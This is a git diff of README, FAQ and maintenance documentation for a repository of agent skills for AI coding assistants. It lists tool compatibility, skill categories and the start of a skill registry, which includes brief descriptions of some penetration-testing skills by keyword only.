+## 🤝 Want to Contribute?
+
+Great! Here's how:
+
+### Option 1: Improve Documentation
+
+- Make READMEs clearer
+- Add more examples
+- Fix typos or confusing parts
+
+### Option 2: Create a New Skill
+
+See our [CONTRIBUTING.md](CONTRIBUTING.md) for step-by-step instructions
+
+### Option 3: Report Issues
+
+Found something confusing? [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues)
+
+---
+
+## ❓ Common Questions
+
+### Q: Do I need to install all 233 skills?
+
+**A:** No! Clone the whole repo, and your AI will only load skills when you use them.
+
+### Q: Can I create my own skills?
+
+**A:** Yes! Check out the `@skill-creator` skill or read [CONTRIBUTING.md](CONTRIBUTING.md)
+
+### Q: What if my AI tool isn't listed?
+
+**A:** If it supports the `SKILL.md` format, try `.agent/skills/` - it's the universal path.
+
+### Q: Are these skills free?
+
+**A:** Yes! MIT License. Use them however you want.
+
+### Q: Do skills work offline?
+
+**A:** The skill files are local, but your AI assistant needs internet to function.
+
+---
+
+## Next Steps
+
+1. ✅ Install the skills in your AI tool
+2. ✅ Try 2-3 skills from different categories
+3. ✅ Read [CONTRIBUTING.md](CONTRIBUTING.md) if you want to help
+4. ✅ Star the repo if you find it useful! ⭐
+
+---
+
+## 💡 Pro Tips
+
+- **Start with `@brainstorming`** before building anything new
+- **Use `@systematic-debugging`** when you're stuck on a bug
+- **Try `@test-driven-development`** to write better code
+- **Explore `@skill-creator`** to make your own skills
+
+---
+
+**Still confused?** Open an issue and we'll help you out! 🙌
+
+**Ready to dive deeper?** Check out the main [README.md](README.md) for the complete skill list.

MAINTENANCE.md

@@ -0,0 +1,54 @@
+# Repository Maintenance Protocol
+
+To ensure consistency and quality, the following steps MUST be performed for **every single change** involving skills or documentation.
+
+## 1. Skill Creation & Modification
+
+- [ ] **Check Duplicates**: Before adding a skill, check `skills_index.json` or `ls skills/` to ensure it doesn't exist.
+- [ ] **Folder Structure**: Each skill must have its own folder in `skills/<skill-name>`.
+- [ ] **SKILL.md**: Every skill directory MUST contain a `SKILL.md` file with valid frontmatter:
+
+  ```markdown
+  ---
+  name: Skill Name
+  description: Brief description.
+  ---
+  ```
+
+## 2. Validation & Indexing (CRITICAL)
+
+Running the scripts is **MANDATORY** after any change to `skills/`.
+
+- [ ] **Validate Skills**: Run the validation script to check for formatting errors.
+
+  ```bash
+  python3 scripts/validate_skills.py
+  ```
+
+- [ ] **Generate Index**: Update `skills_index.json`. This is the source of truth for the agent.
+
+  ```bash
+  python3 scripts/generate_index.py
+  ```
+
+## 3. Documentation Updates
+
+- [ ] **Update README**: Run the automation script to sync counts and the registry table.
+
+  ```bash
+  python3 scripts/update_readme.py
+  ```
+
+- [ ] **Credits & Sources**: If the skill was imported from a community repo, add a credit link in `# Credits & Sources` manually if needed.
+  - Example: `- **[repo-name](url)**: Source for [skill-name].`
+
+## 4. Git Operations
+
+- [ ] **Check Status**: `git status` to see what changed.
+- [ ] **Add All Files**: Ensure new skill folders are added (`git add skills/`).
+- [ ] **Commit**: Use a descriptive Conventional Commit message (e.g., `feat: add new security skills`, `docs: update readme count`).
+- [ ] **Push**: `git push` to origin. **NEVER FORGET THIS.**
+
+## 5. Agent Artifacts (Internal)
+
+- [ ] **Walkthrough**: Update `walkthrough.md` in the brain/artifact directory to reflect the session's achievements.

README.md

@@ -1,23 +1,89 @@
-# 🌌 Antigravity Awesome Skills: The Ultimate Claude Code Skills Collection
+# 🌌 Antigravity Awesome Skills: 239+ Agentic Skills for Claude Code, Gemini CLI, Cursor, Copilot & More
 
-> **The Ultimate Collection of 60+ Agentic Skills for Claude Code (Antigravity)**
+> **The Ultimate Collection of 239+ Universal Agentic Skills for AI Coding Assistants — Claude Code, Gemini CLI, Codex CLI, Antigravity IDE, GitHub Copilot, Cursor, OpenCode**
 
 [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
-[![Claude Code](https://img.shields.io/badge/AI-Claude%20Code-purple)](https://claude.ai)
-[![Agentic](https://img.shields.io/badge/Agentic-Framework-blue)](https://github.com/guanyang/antigravity-skills)
+[![Claude Code](https://img.shields.io/badge/Claude%20Code-Anthropic-purple)](https://claude.ai)
+[![Gemini CLI](https://img.shields.io/badge/Gemini%20CLI-Google-blue)](https://github.com/google-gemini/gemini-cli)
+[![Codex CLI](https://img.shields.io/badge/Codex%20CLI-OpenAI-green)](https://github.com/openai/codex)
+[![Cursor](https://img.shields.io/badge/Cursor-AI%20IDE-orange)](https://cursor.sh)
+[![Copilot](https://img.shields.io/badge/GitHub%20Copilot-VSCode-lightblue)](https://github.com/features/copilot)
+[![OpenCode](https://img.shields.io/badge/OpenCode-CLI-gray)](https://github.com/opencode-ai/opencode)
+[![Antigravity](https://img.shields.io/badge/Antigravity-DeepMind-red)](https://github.com/anthropics/antigravity)
 
-**Antigravity Awesome Skills** is the ultimate **Claude Code Skills** collection—a curated, battle-tested library of **71 high-performance skills** compatible with both **Antigravity** and **Claude Code**. This repository provides the essential **Claude Code skills** needed to transform your AI assistant into a full-stack digital agency, including official capabilities from **Anthropic** and **Vercel Labs**.
+**Antigravity Awesome Skills** is a curated, battle-tested library of **239 high-performance agentic skills** designed to work seamlessly across all major AI coding assistants:
+
+- 🟣 **Claude Code** (Anthropic CLI)
+- 🔵 **Gemini CLI** (Google DeepMind)
+- 🟢 **Codex CLI** (OpenAI)
+- 🔴 **Antigravity IDE** (Google DeepMind)
+- 🩵 **GitHub Copilot** (VSCode Extension)
+- 🟠 **Cursor** (AI-native IDE)
+- ⚪ **OpenCode** (Open-source CLI)
+
+This repository provides essential skills to transform your AI assistant into a **full-stack digital agency**, including official capabilities from **Anthropic**, **OpenAI**, **Google**, **Supabase**, and **Vercel Labs**.
 
 ## 📍 Table of Contents
 
+- [🚀 New Here? Start Here!](#-new-here-start-here)
+- [🔌 Compatibility](#-compatibility)
 - [Features & Categories](#features--categories)
-- [Full Skill Registry](#full-skill-registry-7171)
+- [Full Skill Registry](#full-skill-registry-155155)
 - [Installation](#installation)
 - [How to Contribute](#how-to-contribute)
 - [Credits & Sources](#credits--sources)
 - [License](#license)
 
-Whether you are using the Google Deepmind Antigravity framework or the standard Anthropic Claude Code CLI, these skills are designed to drop right in and supercharge your agent.
+---
+
+## New Here? Start Here!
+
+**First time using this repository?** We've created beginner-friendly guides to help you get started:
+
+- **[GETTING_STARTED.md](GETTING_STARTED.md)** - Complete beginner's guide (5-minute read)
+- **[CONTRIBUTING.md](CONTRIBUTING.md)** - How to contribute (step-by-step)
+- **[SKILL_ANATOMY.md](docs/SKILL_ANATOMY.md)** - Understanding how skills work
+- **[VISUAL_GUIDE.md](docs/VISUAL_GUIDE.md)** - Visual guide with diagrams
+
+**Quick Start:**
+
+```bash
+# 1. Install skills
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+
+# 2. Use a skill in your AI assistant
+@brainstorming help me design a todo app
+```
+
+That's it! Your AI assistant now has 239 specialized skills. 🎉
+
+**Additional Resources:**
+
+- 💡 **[Real-World Examples](docs/EXAMPLES.md)** - See skills in action
+- ❓ **[FAQ](FAQ.md)** - Common questions answered
+
+---
+
+## 🔌 Compatibility
+
+These skills follow the universal **SKILL.md** format and work with any AI coding assistant that supports agentic skills:
+
+| Tool                | Type      | Compatibility | Installation Path                        |
+| ------------------- | --------- | ------------- | ---------------------------------------- |
+| **Claude Code**     | CLI       | ✅ Full       | `.claude/skills/` or `.agent/skills/`    |
+| **Gemini CLI**      | CLI       | ✅ Full       | `.gemini/skills/` or `.agent/skills/`    |
+| **Codex CLI**       | CLI       | ✅ Full       | `.codex/skills/` or `.agent/skills/`     |
+| **Antigravity IDE** | IDE       | ✅ Full       | `.agent/skills/`                         |
+| **Cursor**          | IDE       | ✅ Full       | `.cursor/skills/` or project root        |
+| **GitHub Copilot**  | Extension | ⚠️ Partial    | Copy skill content to `.github/copilot/` |
+| **OpenCode**        | CLI       | ✅ Full       | `.opencode/skills/` or `.agent/skills/`  |
+
+> [!TIP]
+> Most tools auto-discover skills in `.agent/skills/`. For maximum compatibility, clone to this directory.
+
+---
+
+Whether you are using **Gemini CLI**, **Claude Code**, **Codex CLI**, **Cursor**, **GitHub Copilot**, **Antigravity**, or **OpenCode**, these skills are designed to drop right in and supercharge your AI agent.
 
 This repository aggregates the best capabilities from across the open-source community, transforming your AI assistant into a full-stack digital agency capable of Engineering, Design, Security, Marketing, and Autonomous Operations.
 
@@ -25,108 +91,286 @@ This repository aggregates the best capabilities from across the open-source com
 
 The repository is organized into several key areas of expertise:
 
-| Category                 | Skills Included                                                                        |
-| :----------------------- | :------------------------------------------------------------------------------------- |
-| **🎨 Creative & Design** | UI/UX Pro Max, Frontend Design, Canvas, Algorithmic Art, Theme Factory, D3 Viz         |
-| **🛠️ Development**       | TDD, Systematic Debugging, Webapp Testing, Backend/Frontend Guidelines, React Patterns |
-| **🛡️ Cybersecurity**     | Ethical Hacking, AWS Pentesting, OWASP Top 100, Pentest Checklists                     |
-| **🛸 Autonomous**        | **Loki Mode** (Startup-in-a-box), Subagent Orchestration, Parallel Execution           |
-| **📈 Strategy**          | Product Manager Toolkit, Content Creator, ASO, Doc Co-authoring, Brainstorming         |
-| **🏗️ Infrastructure**    | Linux Shell Scripting, Git Worktrees, Conventional Commits, File Organization          |
+| Category                    | Skills Count | Key Skills Included                                                                                                          |
+| :-------------------------- | :----------- | :--------------------------------------------------------------------------------------------------------------------------- |
+| **🛸 Autonomous & Agentic** | **~8**       | Loki Mode (Startup-in-a-box), Subagent Driven Dev, Dispatching Parallel Agents, Planning With Files, Skill Creator/Developer |
+| **🔌 Integrations & APIs**  | **~25**      | Stripe, Firebase, Supabase, Vercel, Clerk Auth, Twilio, Discord Bot, Slack Bot, GraphQL, AWS Serverless                      |
+| **🛡️ Cybersecurity**        | **~51**      | Ethical Hacking, Metasploit, Burp Suite, SQLMap, Active Directory, AWS/Cloud Pentesting, OWASP Top 100, Red Team Tools       |
+| **🎨 Creative & Design**    | **~10**      | UI/UX Pro Max, Frontend Design, Canvas, Algorithmic Art, Theme Factory, D3 Viz, Web Artifacts                                |
+| **🛠️ Development**          | **~33**      | TDD, Systematic Debugging, React Patterns, Backend/Frontend Guidelines, Senior Fullstack, Software Architecture              |
+| **🏗️ Infrastructure & Git** | **~8**       | Linux Shell Scripting, Git Worktrees, Git Pushing, Conventional Commits, File Organization, GitHub Workflow Automation       |
+| **🤖 AI Agents & LLM**      | **~31**      | LangGraph, CrewAI, Langfuse, RAG Engineer, Prompt Engineer, Voice Agents, Browser Automation, Agent Memory Systems           |
+| **🔄 Workflow & Planning**  | **~6**       | Writing Plans, Executing Plans, Concise Planning, Verification Before Completion, Code Review (Requesting/Receiving)         |
+| **📄 Document Processing**  | **~4**       | DOCX (Official), PDF (Official), PPTX (Official), XLSX (Official)                                                            |
+| **🧪 Testing & QA**         | **~4**       | Webapp Testing, Playwright Automation, Test Fixing, Testing Patterns                                                         |
+| **📈 Product & Strategy**   | **~8**       | Product Manager Toolkit, Content Creator, ASO, Doc Co-authoring, Brainstorming, Internal Comms                               |
+| **📣 Marketing & Growth**   | **~23**      | Page CRO, Copywriting, SEO Audit, Paid Ads, Email Sequence, Pricing Strategy, Referral Program, Launch Strategy              |
+| **🚀 Maker Tools**          | **~11**      | Micro-SaaS Launcher, Browser Extension Builder, Telegram Bot, AI Wrapper Product, Viral Generator, 3D Web Experience         |
 
 ---
 
-## Full Skill Registry (71/71)
-
-Below is the complete list of available skills. Each skill folder contains a `SKILL.md` that can be imported into Antigravity or Claude Code.
+## Full Skill Registry (239/239)
 
 > [!NOTE] > **Document Skills**: We provide both **community** and **official Anthropic** versions for DOCX, PDF, PPTX, and XLSX. Locally, the official versions are used by default (via symlinks). In the repository, both versions are available for flexibility.
 
 | Skill Name                                          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Path                                         |
-| :--------------------------------- | :-------------------------------------------------------------- | :--------------------------------------------- |
-| **Address GitHub Comments**        | Systematic PR feedback handling using gh CLI.                   | `skills/address-github-comments` ⭐ NEW        |
-| **Algorithmic Art**                | Creative generative art using p5.js and seeded randomness.      | `skills/algorithmic-art`                       |
-| **App Store Optimization**         | Complete ASO toolkit for iOS and Android app performance.       | `skills/app-store-optimization`                |
-| **Autonomous Agent Patterns**      | Design patterns for autonomous coding agents and tools.         | `skills/autonomous-agent-patterns` ⭐ NEW      |
-| **AWS Pentesting**                 | Specialized security assessment for Amazon Web Services.        | `skills/aws-penetration-testing`               |
-| **Backend Guidelines**             | Core architecture patterns for Node/Express microservices.      | `skills/backend-dev-guidelines`                |
-| **Concise Planning**               | Atomic, actionable task planning and checklists.                | `skills/concise-planning` ⭐ NEW               |
-| **Brainstorming**                  | Requirement discovery and intent exploration framework.         | `skills/brainstorming`                         |
-| **Brand Guidelines (Anthropic)**   | Official Anthropic brand styling and visual standards.          | `skills/brand-guidelines-anthropic` ⭐ NEW     |
-| **Brand Guidelines (Community)**   | Community-contributed brand guidelines and templates.           | `skills/brand-guidelines-community`            |
-| **Bun Development**                | Modern JavaScript/TypeScript development with Bun runtime.      | `skills/bun-development` ⭐ NEW                |
-| **Canvas Design**                  | Beautiful static visual design in PDF and PNG.                  | `skills/canvas-design`                         |
-| **Claude D3.js**                   | Advanced data visualization with D3.js.                         | `skills/claude-d3js-skill`                     |
-| **Content Creator**                | SEO-optimized marketing and brand voice toolkit.                | `skills/content-creator`                       |
-| **Core Components**                | Design system tokens and baseline UI patterns.                  | `skills/core-components`                       |
-| **Dispatching Parallel Agents**    | Work on independent tasks without shared state.                 | `skills/dispatching-parallel-agents`           |
-| **Doc Co-authoring**               | Structured workflow for technical documentation.                | `skills/doc-coauthoring`                       |
-| **DOCX (Official)**                | Official Anthropic MS Word document manipulation.               | `skills/docx-official` ⭐ NEW                  |
-| **Ethical Hacking**                | Comprehensive penetration testing lifecycle methodology.        | `skills/ethical-hacking-methodology`           |
-| **Executing Plans**                | Execute written implementation plans in structured sessions.    | `skills/executing-plans`                       |
-| **File Organizer**                 | Context-aware file organization and duplicate cleanup.          | `skills/file-organizer`                        |
-| **Finishing Dev Branch**           | Structured workflow for merging, PRs, and branch cleanup.       | `skills/finishing-a-development-branch`        |
-| **Frontend Design**                | Production-grade UI component implementation.                   | `skills/frontend-design`                       |
-| **Frontend Guidelines**            | Modern React/TS development patterns and file structure.        | `skills/frontend-dev-guidelines`               |
-| **Git Pushing**                    | Automated staging and conventional commits.                     | `skills/git-pushing`                           |
-| **GitHub Workflow Automation**     | AI-powered PR reviews, issue triage, and CI/CD integration.     | `skills/github-workflow-automation` ⭐ NEW     |
-| **Internal Comms (Anthropic)**     | Official Anthropic corporate communication templates.           | `skills/internal-comms-anthropic` ⭐ NEW       |
-| **Internal Comms (Community)**     | Community-contributed communication templates.                  | `skills/internal-comms-community`              |
-| **JavaScript Mastery**             | 33+ essential JavaScript concepts every developer should know.  | `skills/javascript-mastery` ⭐ NEW             |
-| **Kaizen**                         | Continuous improvement and error-proofing (Poka-Yoke).          | `skills/kaizen`                                |
-| **Linux Shell Scripting**          | Production-ready shell scripts for automation.                  | `skills/linux-shell-scripting`                 |
-| **LLM App Patterns**               | RAG pipelines, agent architectures, and LLMOps patterns.        | `skills/llm-app-patterns` ⭐ NEW               |
-| **Loki Mode**                      | Fully autonomous startup development engine.                    | `skills/loki-mode`                             |
-| **MCP Builder**                    | High-quality Model Context Protocol (MCP) server creation.      | `skills/mcp-builder`                           |
-| **NotebookLM**                     | Source-grounded querying via Google NotebookLM.                 | `skills/notebooklm`                            |
-| **PDF (Official)**                 | Official Anthropic PDF document manipulation.                   | `skills/pdf-official` ⭐ NEW                   |
-| **Pentest Checklist**              | Structured security assessment planning and scoping.            | `skills/pentest-checklist`                     |
-| **Planning With Files**            | Manus-style file-based planning for complex tasks.              | `skills/planning-with-files`                   |
-| **Playwright Automation**          | Complete browser automation and testing with Playwright.        | `skills/playwright-skill`                      |
-| **PPTX (Official)**                | Official Anthropic PowerPoint manipulation.                     | `skills/pptx-official` ⭐ NEW                  |
-| **Product Toolkit**                | RICE prioritization and product discovery frameworks.           | `skills/product-manager-toolkit`               |
-| **Prompt Engineering**             | Expert patterns for LLM instruction optimization.               | `skills/prompt-engineering`                    |
-| **Prompt Library**                 | Curated role-based and task-specific prompt templates.          | `skills/prompt-library` ⭐ NEW                 |
-| **React Best Practices**           | Vercel's 40+ performance optimization rules for React.          | `skills/react-best-practices` ⭐ NEW (Vercel)  |
-| **React UI Patterns**              | Standardized loading states and error handling for React.       | `skills/react-ui-patterns`                     |
-| **Receiving Code Review**          | Technical verification of code review feedback.                 | `skills/receiving-code-review`                 |
-| **Requesting Code Review**         | Pre-merge requirements verification workflow.                   | `skills/requesting-code-review`                |
-| **Senior Architect**               | Scalable system design and architecture diagrams.               | `skills/senior-architect`                      |
-| **Senior Fullstack**               | Comprehensive fullstack guide (React, Node, Postgres).          | `skills/senior-fullstack`                      |
-| **Skill Creator**                  | Meta-skill for building high-performance agentic skills.        | `skills/skill-creator`                         |
-| **Skill Developer**                | Create and manage skills using Anthropic best practices.        | `skills/skill-developer`                       |
-| **Slack GIF Creator**              | Create animated GIFs optimized for Slack.                       | `skills/slack-gif-creator`                     |
-| **Software Architecture**          | Quality-focused design principles and analysis.                 | `skills/software-architecture`                 |
-| **Subagent Driven Dev**            | Orchestrate independent subtasks in current session.            | `skills/subagent-driven-development`           |
-| **Systematic Debugging**           | Root cause analysis and structured fix verification.            | `skills/systematic-debugging`                  |
-| **TDD**                            | Test-Driven Development workflow and red-green-refactor.        | `skills/test-driven-development`               |
-| **Test Fixing**                    | Systematically fix failing tests using smart error grouping.    | `skills/test-fixing`                           |
-| **Testing Patterns**               | Jest patterns, factories, and TDD workflow strategies.          | `skills/testing-patterns`                      |
-| **Theme Factory**                  | Toolkit for styling artifacts with pre-set or generated themes. | `skills/theme-factory`                         |
-| **Top 100 Vulnerabilities**        | OWASP-aligned web vulnerability taxonomy and mitigations.       | `skills/top-web-vulnerabilities`               |
-| **UI/UX Pro Max**                  | Advanced design intelligence and 50+ styling options.           | `skills/ui-ux-pro-max`                         |
-| **Using Git Worktrees**            | Isolated workspaces for safe feature development.               | `skills/using-git-worktrees`                   |
-| **Using Superpowers**              | Establish skill usage protocols at conversation start.          | `skills/using-superpowers`                     |
-| **Verification Before Completion** | Run verification commands before claiming success.              | `skills/verification-before-completion`        |
-| **Web Artifacts**                  | Complex React/Tailwind/Shadcn UI artifact builder.              | `skills/web-artifacts-builder`                 |
-| **Web Design Guidelines**          | Vercel's 100+ UI/UX audit rules (accessibility, performance).   | `skills/web-design-guidelines` ⭐ NEW (Vercel) |
-| **Webapp Testing**                 | Local web application testing with Playwright.                  | `skills/webapp-testing`                        |
-| **Workflow Automation**            | Multi-step automations, API integration, AI-native pipelines.   | `skills/workflow-automation` ⭐ NEW            |
-| **Writing Plans**                  | Create specs for multi-step tasks before coding.                | `skills/writing-plans`                         |
-| **Writing Skills**                 | Create and verify skills before deployment.                     | `skills/writing-skills`                        |
-| **XLSX (Official)**                | Official Anthropic Excel spreadsheet manipulation.              | `skills/xlsx-official` ⭐ NEW                  |
-
-> [!TIP]
-> Use the `validate_skills.py` script in the `scripts/` directory to ensure all skills are properly formatted and ready for use.
-
----
+| :-------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :------------------------------------------- |
+| **2d-games**                                        | 2D game development principles. Sprites, tilemaps, physics, camera.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/game-development/2d-games`           |
+| **3d-games**                                        | 3D game development principles. Rendering, shaders, physics, cameras.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/game-development/3d-games`           |
+| **3d-web-experience**                               | "Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing depth to web experiences. Use when: 3D website, three.js, WebGL, react three fiber, 3D experience."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/3d-web-experience`                   |
+| **ab-test-setup**                                   | When the user wants to plan, design, or implement an A/B test or experiment. Also use when the user mentions "A/B test," "split test," "experiment," "test this change," "variant copy," "multivariate test," or "hypothesis." For tracking implementation, see analytics-tracking.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/ab-test-setup`                       |
+| **Active Directory Attacks**                        | This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/active-directory-attacks`            |
+| **address-github-comments**                         | Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/address-github-comments`             |
+| **agent-evaluation**                                | "Testing and benchmarking LLM agents including behavioral testing, capability assessment, reliability metrics, and production monitoring—where even top agents achieve less than 50% on real-world benchmarks Use when: agent testing, agent evaluation, benchmark agents, agent reliability, test agent."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/agent-evaluation`                    |
+| **agent-manager-skill**                             | Manage multiple local CLI agents via tmux sessions (start/stop/monitor/assign) with cron-friendly scheduling.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/agent-manager-skill`                 |
+| **agent-memory-mcp**                                | A hybrid memory system that provides persistent, searchable knowledge management for AI agents (Architecture, Patterns, Decisions).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/agent-memory-mcp`                    |
+| **agent-memory-systems**                            | "Memory is the cornerstone of intelligent agents. Without it, every interaction starts from zero. This skill covers the architecture of agent memory: short-term (context window), long-term (vector stores), and the cognitive architectures that organize them. Key insight: Memory isn't just storage - it's retrieval. A million stored facts mean nothing if you can't find the right one. Chunking, embedding, and retrieval strategies determine whether your agent remembers or forgets. The field is fragm"                                                                                                                                                                                                                                                                                                                     | `skills/agent-memory-systems`                |
+| **agent-tool-builder**                              | "Tools are how AI agents interact with the world. A well-designed tool is the difference between an agent that works and one that hallucinates, fails silently, or costs 10x more tokens than necessary. This skill covers tool design from schema to error handling. JSON Schema best practices, description writing that actually helps the LLM, validation, and the emerging MCP standard that's becoming the lingua franca for AI tools. Key insight: Tool descriptions are more important than tool implementa"                                                                                                                                                                                                                                                                                                                     | `skills/agent-tool-builder`                  |
+| **ai-agents-architect**                             | "Expert in designing and building autonomous AI agents. Masters tool use, memory systems, planning strategies, and multi-agent orchestration. Use when: build agent, AI agent, autonomous agent, tool use, function calling."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/ai-agents-architect`                 |
+| **ai-product**                                      | "Every product will be AI-powered. The question is whether you'll build it right or ship a demo that falls apart in production. This skill covers LLM integration patterns, RAG architecture, prompt engineering that scales, AI UX that users trust, and cost optimization that doesn't bankrupt you. Use when: keywords, file_patterns, code_patterns."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/ai-product`                          |
+| **ai-wrapper-product**                              | "Expert in building products that wrap AI APIs (OpenAI, Anthropic, etc.) into focused tools people will pay for. Not just 'ChatGPT but different' - products that solve specific problems with AI. Covers prompt engineering for products, cost management, rate limiting, and building defensible AI businesses. Use when: AI wrapper, GPT product, AI tool, wrap AI, AI SaaS."                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/ai-wrapper-product`                  |
+| **algolia-search**                                  | "Expert patterns for Algolia search implementation, indexing strategies, React InstantSearch, and relevance tuning Use when: adding search to, algolia, instantsearch, search api, search functionality."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/algolia-search`                      |
+| **algorithmic-art**                                 | Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems. Create original algorithmic art rather than copying existing artists' work to avoid copyright violations.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | `skills/algorithmic-art`                     |
+| **analytics-tracking**                              | When the user wants to set up, improve, or audit analytics tracking and measurement. Also use when the user mentions "set up tracking," "GA4," "Google Analytics," "conversion tracking," "event tracking," "UTM parameters," "tag manager," "GTM," "analytics implementation," or "tracking plan." For A/B test measurement, see ab-test-setup.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/analytics-tracking`                  |
+| **API Fuzzing for Bug Bounty**                      | This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/api-fuzzing-bug-bounty`              |
+| **api-documentation-generator**                     | "Generate comprehensive, developer-friendly API documentation from code, including endpoints, parameters, examples, and best practices"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | `skills/api-documentation-generator`         |
+| **api-patterns**                                    | API design principles and decision-making. REST vs GraphQL vs tRPC selection, response formats, versioning, pagination.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | `skills/api-patterns`                        |
+| **api-security-best-practices**                     | "Implement secure API design patterns including authentication, authorization, input validation, rate limiting, and protection against common API vulnerabilities"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/api-security-best-practices`         |
+| **app-builder**                                     | Main application building orchestrator. Creates full-stack applications from natural language requests. Determines project type, selects tech stack, coordinates agents.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/app-builder`                         |
+| **app-store-optimization**                          | Complete App Store Optimization (ASO) toolkit for researching, optimizing, and tracking mobile app performance on Apple App Store and Google Play Store                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | `skills/app-store-optimization`              |
+| **architecture**                                    | Architectural decision-making framework. Requirements analysis, trade-off evaluation, ADR documentation. Use when making architecture decisions or analyzing system design.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `skills/architecture`                        |
+| **autonomous-agent-patterns**                       | "Design patterns for building autonomous coding agents. Covers tool integration, permission systems, browser automation, and human-in-the-loop workflows. Use when building AI agents, designing tool APIs, implementing permission systems, or creating autonomous coding assistants."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | `skills/autonomous-agent-patterns`           |
+| **autonomous-agents**                               | "Autonomous agents are AI systems that can independently decompose goals, plan actions, execute tools, and self-correct without constant human guidance. The challenge isn't making them capable - it's making them reliable. Every extra decision multiplies failure probability. This skill covers agent loops (ReAct, Plan-Execute), goal decomposition, reflection patterns, and production reliability. Key insight: compounding error rates kill autonomous agents. A 95% success rate per step drops to 60% b"                                                                                                                                                                                                                                                                                                                    | `skills/autonomous-agents`                   |
+| **AWS Penetration Testing**                         | This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `skills/aws-penetration-testing`             |
+| **aws-serverless**                                  | "Specialized skill for building production-ready serverless applications on AWS. Covers Lambda functions, API Gateway, DynamoDB, SQS/SNS event-driven patterns, SAM/CDK deployment, and cold start optimization."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/aws-serverless`                      |
+| **azure-functions**                                 | "Expert patterns for Azure Functions development including isolated worker model, Durable Functions orchestration, cold start optimization, and production patterns. Covers .NET, Python, and Node.js programming models. Use when: azure function, azure functions, durable functions, azure serverless, function app."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/azure-functions`                     |
+| **backend-dev-guidelines**                          | Comprehensive backend development guide for Node.js/Express/TypeScript microservices. Use when creating routes, controllers, services, repositories, middleware, or working with Express APIs, Prisma database access, Sentry error tracking, Zod validation, unifiedConfig, dependency injection, or async patterns. Covers layered architecture (routes → controllers → services → repositories), BaseController pattern, error handling, performance monitoring, testing strategies, and migration from legacy patterns.                                                                                                                                                                                                                                                                                                              | `skills/backend-dev-guidelines`              |
+| **backend-patterns**                                | Backend architecture patterns, API design, database optimization, and server-side best practices for Node.js, Express, and Next.js API routes.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `skills/cc-skill-backend-patterns`           |
+| **bash-linux**                                      | Bash/Linux terminal patterns. Critical commands, piping, error handling, scripting. Use when working on macOS or Linux systems.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | `skills/bash-linux`                          |
+| **behavioral-modes**                                | AI operational modes (brainstorm, implement, debug, review, teach, ship, orchestrate). Use to adapt behavior based on task type.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/behavioral-modes`                    |
+| **blockrun**                                        | Use when user needs capabilities Claude lacks (image generation, real-time X/Twitter data) or explicitly requests external models ("blockrun", "use grok", "use gpt", "dall-e", "deepseek")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `skills/blockrun`                            |
